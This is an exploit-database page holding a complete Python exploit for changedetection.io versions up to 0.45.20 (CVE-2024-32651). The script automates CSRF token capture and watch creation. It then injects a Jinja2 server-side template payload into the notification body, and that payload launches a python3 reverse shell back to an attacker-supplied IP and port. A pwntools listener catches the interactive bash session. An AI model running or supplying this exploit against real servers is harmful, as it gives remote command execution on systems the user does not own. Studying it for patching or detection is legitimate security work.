Changedetection < 0.45.20 remote code execution (rce) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2024-05-31 | Type : webapps | Platform : multiple

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[+] Code ...

# Exploit Title: changedetection <= 0.45.20 Remote Code Execution (RCE)
# Date: 5-26-2024
# Exploit Author: Zach Crosman (zcrosman)
# Vendor Homepage: changedetection.io
# Software Link: https://github.com/dgtlmoon/changedetection.io
# Version: <= 0.45.20
# Tested on: Linux
# CVE : CVE-2024-32651

from pwn import *
import requests
from bs4 import BeautifulSoup
import argparse

def start_listener(port):
listener = listen(port)
print(f"Listening on port {port}...")
conn = listener.wait_for_connection()
print("Connection received!")
context.newline = b'\r\n'
# Switch to interactive mode
conn.interactive()

def add_detection(url, listen_ip, listen_port, notification_url=''):
session = requests.Session()

# First request to get CSRF token
request1_headers = {
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Connection": "close"
}

response = session.get(url, headers=request1_headers)
soup = BeautifulSoup(response.text, 'html.parser')
csrf_token = soup.find('input', {'name': 'csrf_token'})['value']
print(f'Obtained CSRF token: {csrf_token}')

# Second request to submit the form and get the redirect URL
add_url = f"{url}/form/add/quickwatch"
add_url_headers = { # Define add_url_headers here
"Origin": url,
"Content-Type": "application/x-www-form-urlencoded"
}
add_url_data = {
"csrf_token": csrf_token,
"url": "https://reddit.com/r/baseball",
"tags": '',
"edit_and_watch_submit_button": "Edit > Watch",
"processor": "text_json_diff"
}

post_response = session.post(add_url, headers=add_url_headers, data=add_url_data, allow_redirects=False)

# Extract the URL from the Location header
if 'Location' in post_response.headers:
redirect_url = post_response.headers['Location']
print(f'Redirect URL: {redirect_url}')
else:
print('No redirect URL found')
return

# Third request to add the changedetection url with ssti in notification config
save_detection_url = f"{url}{redirect_url}"
save_detection_headers = { # Define save_detection_headers here
"Referer": redirect_url,
"Cookie": f"session={session.cookies.get('session')}"
}

save_detection_data = {
"csrf_token": csrf_token,
"url": "https://reddit.com/r/all",
"title": '',
"tags": '',
"time_between_check-weeks": '',
"time_between_check-days": '',
"time_between_check-hours": '',
"time_between_check-minutes": '',
"time_between_check-seconds": '30',
"filter_failure_notification_send": 'y',
"fetch_backend": 'system',
"webdriver_delay": '',
"webdriver_js_execute_code": '',
"method": 'GET',
"headers": '',
"body": '',
"notification_urls": notification_url,
"notification_title": '',
"notification_body": f"""
{{% for x in ().__class__.__base__.__subclasses__() %}}
{{% if "warning" in x.__name__ %}}
{{{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\\"{listen_ip}\\",{listen_port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\\"/bin/bash\\")'").read()}}}}
{{% endif %}}
{{% endfor %}}
""",
"notification_format": 'System default',
"include_filters": '',
"subtractive_selectors": '',
"filter_text_added": 'y',
"filter_text_replaced": 'y',
"filter_text_removed": 'y',
"trigger_text": '',
"ignore_text": '',
"text_should_not_be_present": '',
"extract_text": '',
"save_button": 'Save'
}
final_response = session.post(save_detection_url, headers=save_detection_headers, data=save_detection_data)

print('Final request made.')

if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Add detection and start listener')
parser.add_argument('--url', type=str, required=True, help='Base URL of the target site')
parser.add_argument('--port', type=int, help='Port for the listener', default=4444)
parser.add_argument('--ip', type=str, required=True, help='IP address for the listener')
parser.add_argument('--notification', type=str, help='Notification url if you don\'t want to use the system default')
args = parser.parse_args()


add_detection(args.url, args.ip, args.port, args.notification)
start_listener(args.port)